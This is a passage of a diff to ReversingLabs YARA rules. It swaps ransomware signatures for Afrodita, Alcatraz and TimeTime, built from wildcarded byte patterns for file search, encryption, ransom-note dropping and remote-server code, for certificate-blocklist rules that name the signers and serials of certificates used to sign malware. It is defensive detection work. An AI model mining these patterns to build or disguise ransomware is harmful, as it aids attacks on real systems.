?? ?? ?? - E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 4D - ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? - E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D - 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? - 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 6A ?? 8D 4D - ?? E8 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8B C8 E8 ?? ?? ?? ?? 6A ?? 8D 4D ?? E8 ?? ?? ?? ?? 8D 4D ?? 51 8D 4D ?? E8 ?? - ?? ?? ?? 8D 55 ?? 89 95 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? - ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? EB - } - condition: - uint16( 0 ) == 0x5A4D and ( $kill_processes_call ) and ( $kill_processes ) and ( $enum_resources ) and ( all of ( $search_files_* ) ) and ( all of ( $encrypt_files_p* ) ) and ( $enum_resources_call ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PROTIP d.o.o. - v ste\\xC4\\x8Daju" and pe.signatures [ i ] . serial == "0c:f2:d0:b5:bf:dd:68:cf:77:7a:0c:12:f8:06:a5:69" and 1611705600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Afrodita : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_F675139Ea68B897A865A98F8E4611F00 : INFO FILE { meta: - description = "Yara rule that detects Afrodita ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "513963fd-5f3d-5d31-a65a-37f6f5c72260" - date = "2020-06-26" - modified = "2020-07-15" + id = "3bac20a3-1415-53af-9d04-a30aa7488dd7" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Afrodita.yara#L1-L119" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11478-L11496" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ce7cc445d4c1f59c25b9505fc1f7f9dd0d286ab80510e2977b50ff15433aea60" + logic_hash = "2306e90d376f5de8a4eb6d4a696bc1781686d7094cb0a2db48019ee93c1bf60a" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Afrodita" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $exclude_directories_and_drop_ransom_note = { - 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8D 8D ?? ?? - ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 8D 95 ?? - ?? ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? 8D - 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? ?? - 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 ?? - ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? E9 - ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 E0 ?? 75 ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 8B - 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? - ?? ?? 89 8D ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8D 85 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 8D 4D ?? E8 - ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A - ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 FF 15 - ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D - 4D ?? E8 ?? ?? ?? ?? EB ?? B8 - } - $drop_ransom_note_no_dir_exclusion = { - 8D 95 ?? ?? ?? ?? 52 8B 43 ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 - ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 89 95 ?? ?? ?? ?? C6 45 ?? ?? 68 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 8B 95 ?? - ?? ?? ?? 52 8D 4D ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 33 C0 88 85 ?? ?? ?? ?? 33 C9 88 8D ?? ?? - ?? ?? 33 D2 88 95 ?? ?? ?? ?? 0F B6 85 ?? ?? ?? ?? 50 0F B6 8D ?? ?? ?? ?? 51 0F B6 - 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B C8 E8 ?? ?? ?? ?? - 50 8B 4B ?? 51 8D 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? - 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? - 6A ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 FF 15 - ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? EB ?? 8B - 5D ?? B8 ?? ?? ?? ?? C3 C7 45 - } - $find_files_p1 = { - 8B FF 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 4D ?? 8B 55 ?? 53 - 57 8B 7D ?? 89 95 ?? ?? ?? ?? 3B CF 74 ?? 8A 01 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 74 ?? - 51 57 E8 ?? ?? ?? ?? 59 59 8B C8 3B CF 75 ?? 8B 95 ?? ?? ?? ?? 8A 01 88 85 ?? ?? ?? - ?? 3C ?? 75 ?? 8D 47 ?? 3B C8 74 ?? 52 33 DB 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? - ?? ?? ?? 8A 85 ?? ?? ?? ?? 33 DB 3C ?? 74 ?? 3C ?? 74 ?? 3C ?? 8A C3 75 ?? B0 ?? 2B - CF 0F B6 C0 41 89 9D ?? ?? ?? ?? F7 D8 89 9D ?? ?? ?? ?? 56 1B C0 89 9D ?? ?? ?? ?? - 23 C1 89 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? - ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? F7 D8 - } - $find_files_p2 = { - 1B C0 53 53 53 51 F7 D0 23 85 ?? ?? ?? ?? 53 50 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 75 - ?? FF B5 ?? ?? ?? ?? 53 53 57 E8 ?? ?? ?? ?? 83 C4 ?? 8B D8 E9 ?? ?? ?? ?? 8B 85 ?? - ?? ?? ?? 8B 48 ?? 2B 08 C1 F9 ?? 89 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? - ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? 88 9D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? F7 D8 1B C0 F7 D0 23 85 ?? ?? ?? ?? 80 38 ?? 75 ?? 8A 48 ?? 84 C9 74 ?? - 80 F9 ?? 75 ?? 38 58 ?? 74 ?? FF B5 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? - ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 85 C0 75 ?? 38 9D ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? - E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? - 8B 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 10 8B 40 ?? 2B C2 C1 F8 ?? 3B C8 74 ?? 68 ?? - ?? ?? ?? 2B C1 6A ?? 50 8D 04 8A 50 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? 38 9D ?? ?? ?? ?? - 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 59 8B D8 56 FF 15 ?? ?? ?? - ?? 80 BD ?? ?? ?? ?? ?? 5E 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 8B C3 8B 4D ?? - 5F 33 CD 5B E8 ?? ?? ?? ?? C9 C3 - } - $encrypt_files = { - 53 8B DC 83 EC ?? 83 E4 ?? 83 C4 ?? 55 8B 6B ?? 89 6C 24 ?? 8B EC 6A ?? 68 ?? ?? ?? - ?? 64 A1 ?? ?? ?? ?? 50 53 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 50 8D 45 - ?? 64 A3 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 6A ?? 6A ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - C7 45 ?? ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4B ?? 51 - FF 15 ?? ?? ?? ?? 83 E0 ?? 74 ?? 8B 53 ?? 52 FF 15 ?? ?? ?? ?? 83 E0 ?? 50 8B 43 ?? - 50 FF 15 ?? ?? ?? ?? 8B 4B ?? 51 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 53 - ?? 52 8D 45 ?? 50 83 EC ?? 8B CC 89 A5 ?? ?? ?? ?? 51 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? - ?? ?? C6 45 ?? ?? 8D 55 ?? 52 8B 43 ?? 50 8D 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 - ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 8B 43 ?? 50 8D - 4D ?? 51 83 EC ?? 8B D4 89 A5 ?? ?? ?? ?? 52 8B 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8B 43 ?? 50 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? - C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? C7 45 ?? ?? - ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 8B 4D ?? - 33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3 5B C2 - } - condition: - uint16( 0 ) == 0x5A4D and ( all of ( $find_files_p* ) ) and ( $encrypt_files ) and ( ( $exclude_directories_and_drop_ransom_note ) or ( $drop_ransom_note_no_dir_exclusion ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BS TEHNIK d.o.o." and ( pe.signatures [ i ] . serial == "00:f6:75:13:9e:a6:8b:89:7a:86:5a:98:f8:e4:61:1f:00" or pe.signatures [ i ] . serial == "f6:75:13:9e:a6:8b:89:7a:86:5a:98:f8:e4:61:1f:00" ) and 1606953600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Alcatraz : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_4728189Fa0F57793484Cdf764F5E283D : INFO FILE { meta: - description = "Yara rule that detects Alcatraz ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "7ff37483-ae63-5c82-a355-81ef68e2f663" - date = "2020-07-28" - modified = "2020-07-28" + id = "fd1b83aa-bfcc-590c-8f97-875badf09698" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Alcatraz.yara#L1-L91" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11498-L11514" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ddd35c8da0c08bce17cacfba8bb8a8b8a8c08c3e59261a88a79c63b03d29000f" + logic_hash = "9ec7e84c77583bd52ccfb8d6d5831f3634ed0a401d8103376c4775b7f2c43d81" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Alcatraz" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $encrypt_files = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A - ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? - ?? ?? ?? ?? 8B 4D ?? 51 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 83 C8 ?? E9 - ?? ?? ?? ?? 6A ?? 8B 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? - ?? ?? ?? ?? 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? - ?? ?? ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 - BD ?? ?? ?? ?? ?? 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? 6A ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? - ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 8D ?? ?? - ?? ?? 51 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 - ?? 83 C8 ?? E9 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? - ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 0F B6 D0 85 D2 75 ?? 83 7D ?? ?? 74 ?? 6A - ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? - 75 ?? 83 C8 ?? EB ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? - ?? 51 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ?? ?? ?? 8B 4D ?? - 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $remote_server = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? - 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 68 ?? ?? ?? - ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? 6A - ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D - ?? ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 - ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 - ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D 55 ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 85 C0 75 - ?? 83 C8 ?? E9 ?? ?? ?? ?? 8B 4D ?? 83 C1 ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 - 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 55 ?? 83 C2 ?? 52 6A ?? 8B 45 - ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 FF 15 - ?? ?? ?? ?? 85 C0 75 ?? 83 C8 ?? E9 ?? ?? ?? ?? EB ?? C7 45 ?? ?? ?? ?? ?? EB ?? 8B - 55 ?? 83 C2 ?? 89 55 ?? 8B 45 ?? 3B 45 ?? 73 ?? 8B 4D ?? 03 4D ?? 0F BE 11 83 FA ?? - 74 ?? 8B 45 ?? 03 45 ?? 0F BE 08 83 F9 ?? 74 ?? 8B 55 ?? 03 55 ?? 8B 45 ?? 03 45 ?? - 8A 08 88 0A EB ?? 8B 55 ?? 03 55 ?? C6 02 ?? EB ?? EB ?? EB ?? 83 7D ?? ?? 0F 87 ?? - ?? ?? ?? 83 7D ?? ?? 75 ?? 83 C8 ?? EB ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 FF 15 ?? ?? - ?? ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 - FF 15 ?? ?? ?? ?? 8B E5 5D C3 - } - $remote_server_2 = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 - 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? - ?? ?? 83 C4 ?? 89 45 ?? A1 ?? ?? ?? ?? 50 8B 0D ?? ?? ?? ?? 51 8B 15 ?? ?? ?? ?? 52 - A1 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 50 8B 0D ?? ?? ?? ?? 51 68 - ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 68 ?? ?? ?? ?? 8B 4D ?? 51 8B 55 ?? - 52 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? - ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 68 - ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? - ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 6A ?? 6A ?? - 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 74 ?? 6A ?? 8B 55 ?? - 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 8D - 45 ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 8B 55 ?? 83 - C2 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D ?? ?? 75 ?? C7 45 ?? ?? ?? ?? ?? 33 - C0 E9 ?? ?? ?? ?? EB ?? 8B 45 ?? 83 C0 ?? 50 6A ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 - ?? 8D 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 33 - C0 EB ?? EB ?? 6A ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 50 68 ?? ?? ?? ?? 8B 4D ?? - 51 E8 ?? ?? ?? ?? 83 C4 ?? 83 F8 ?? 74 ?? B8 ?? ?? ?? ?? EB ?? 83 7D ?? ?? 0F 87 ?? - ?? ?? ?? 83 7D ?? ?? 75 ?? 83 C8 ?? EB ?? 83 7D ?? ?? 74 ?? 8B 55 ?? 52 FF 15 ?? ?? - ?? ?? 83 7D ?? ?? 74 ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 8B 4D ?? 51 - FF 15 ?? ?? ?? ?? 8B E5 5D C3 - } - condition: - uint16( 0 ) == 0x5A4D and $encrypt_files and $remote_server and $remote_server_2 + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Power Save Systems s.r.o." and pe.signatures [ i ] . serial == "47:28:18:9f:a0:f5:77:93:48:4c:df:76:4f:5e:28:3d" and 1647302400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Timetime : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_9Bd81A9Adaf71F1Ff081C1F4A05D7Fd7 : INFO FILE { meta: - description = "Yara rule that detects TimeTime ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "27bff941-01ce-5bf7-a9d8-d01d2db3bfd3" - date = "2022-02-21" - modified = "2022-02-21" + id = "727167de-5678-558d-b948-8a40839d0500" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/ByteCode.MSIL.Ransomware.TimeTime.yara#L1-L75" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11516-L11534" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "43867dd793bc84e6f39ca2de1aff4047a742b295dc4df94cd337bd2ef89e4a62" + logic_hash = "e275a1fd2eb931030fa8b5fc11cd1b335835aaa553a42455053cb93fef5e6e72" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "TimeTime" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $rename_files = { - 00 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 0A 2B ?? 12 ?? 28 ?? ?? ?? ?? 0B 00 07 28 ?? ?? ?? - ?? 16 FE 01 0C 08 2C ?? 2B ?? 00 00 07 07 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? - 00 00 DE ?? 26 00 00 DE ?? 00 12 ?? 28 ?? ?? ?? ?? 2D ?? DE ?? 12 ?? FE 16 ?? ?? ?? ?? - 6F ?? ?? ?? ?? 00 DC 2A - } - $find_files = { - 00 73 ?? ?? ?? ?? 0A 00 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0B 07 2C ?? 06 0C DD ?? ?? ?? - ?? 02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 0D 09 2C ?? 06 0C DD ?? ?? ?? ?? 02 72 ?? ?? ?? 